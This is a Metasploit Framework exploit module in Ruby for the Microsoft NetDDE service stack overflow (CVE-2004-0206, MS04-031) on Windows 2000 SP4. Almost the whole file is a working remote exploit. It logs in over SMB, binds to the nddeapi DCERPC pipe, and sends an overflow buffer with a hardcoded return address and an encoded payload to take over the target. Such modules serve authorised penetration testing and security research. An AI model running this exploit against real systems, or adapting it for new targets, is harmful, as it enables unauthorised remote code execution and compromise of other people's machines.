`##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft NetDDE Service Overflow',
'Description' => %q{
This module exploits a stack overflow in the NetDDE service, which is the
precursor to the DCOM interface. This exploit effects only operating systems
released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
that this vulnerability can be exploited without authentication, the NDDEAPI
pipe is only accessible after successful authentication.
},
'Author' => [ 'pusscat' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0206'],
[ 'OSVDB', '10689'],
[ 'BID', '11372'],
[ 'MSB', 'MS04-031'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => (0x600 - (133*4) - 4),
'BadChars' => "\\/.:$\x00", # \ / . : $ NULL
'Prepend' => 'A' * 8,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ], # push esp, ret :)
],
'DefaultTarget' => 0))
register_options(
[
OptString.new('SMBPIPE', [ true, "The pipe name to use (nddeapi)", 'nddeapi']),
], self.class)
end
def exploit
connect()
smb_login()
print_status("Trying target #{target.name}...")
handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
print_status("Binding to #{handle}")
dcerpc_bind(handle)
print_status("Bound to #{handle}")
retOverWrite =
'AA' + (NDR.long(target.ret) * 133) + payload.encoded
overflowChunk =
retOverWrite +
NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
NDR.long(0x0)
stubdata =
NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
NDR.long(rand(0xFFFFFFFF))
print_status('Calling the vulnerable function...')
begin
response = dcerpc.call(0xc, stubdata)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end
`